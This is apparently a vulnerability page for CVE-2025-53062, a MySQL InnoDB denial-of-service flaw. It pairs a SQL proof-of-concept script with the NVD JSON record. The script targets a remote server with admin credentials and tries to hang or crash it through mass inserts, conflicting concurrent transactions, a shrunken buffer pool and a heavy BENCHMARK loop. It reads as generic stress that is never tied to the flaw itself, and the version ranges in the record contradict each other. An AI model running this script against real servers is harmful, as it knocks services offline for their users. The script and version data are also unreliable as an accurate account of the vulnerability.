CVE-2025-53062

-- CVE-2025-53062 PoC: Oracle MySQL InnoDB DoS -- Note: Requires high-privilege MySQL account -- This PoC demonstrates triggering a hang/crash in InnoDB component -- Step 1: Connect to target MySQL server with high-privilege credentials -- mysql -h target_host -u admin_user -p -- Step 2: Create test database and table CREATE DATABASE IF NOT EXISTS test_cve_53062; USE test_cve_53062; CREATE TABLE t_innodb_dos ( id INT PRIMARY KEY AUTO_INCREMENT, data TEXT, index_idx INT, FULLTEXT KEY ft_data (data) ) ENGINE=InnoDB; -- Step 3: Insert large amount of data to stress InnoDB DELIMITER $$ CREATE PROCEDURE insert_large_data() BEGIN DECLARE i INT DEFAULT 0; WHILE i < 1000000 DO INSERT INTO t_innodb_dos (data, index_idx) VALUES (REPEAT('A', 1000), i); SET i = i + 1; END WHILE; END$$ DELIMITER ; CALL insert_large_data(); -- Step 4: Trigger InnoDB crash via concurrent transaction manipulation -- Open multiple sessions and execute conflicting operations -- Session 1: START TRANSACTION; SELECT * FROM t_innodb_dos WHERE data LIKE '%AAAA%' FOR UPDATE; -- Session 2 (concurrent): ALTER TABLE t_innodb_dos ENGINE=InnoDB; OPTIMIZE TABLE t_innodb_dos; -- Step 5: Trigger buffer pool exhaustion SET GLOBAL innodb_buffer_pool_size = 5242880; -- Force small buffer pool SELECT BENCHMARK(10000000, MD5(RAND())); -- This may cause MySQL Server to hang or crash due to -- InnoDB resource exhaustion vulnerability (CVE-2025-53062)

{"cve": {"id": "CVE-2025-53062", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:46.377", "lastModified": "2025-10-28T16:17:03.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.0-8.0.43, 8.4.0-8.4.6 and 9.0.0-9.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.43", "matchCriteriaId": "8D5225F9-8289-48FD-A3E4-6D0C506E34C7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndExcluding": "8.4.6", "matchCriteriaId": "53799060-8403-4F8A-BFFC-136073C0C9FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:mysql_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.4.0", "matchCriteriaId": "E45D5E7F-C3E3-401D-8A59-1398F421173C"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}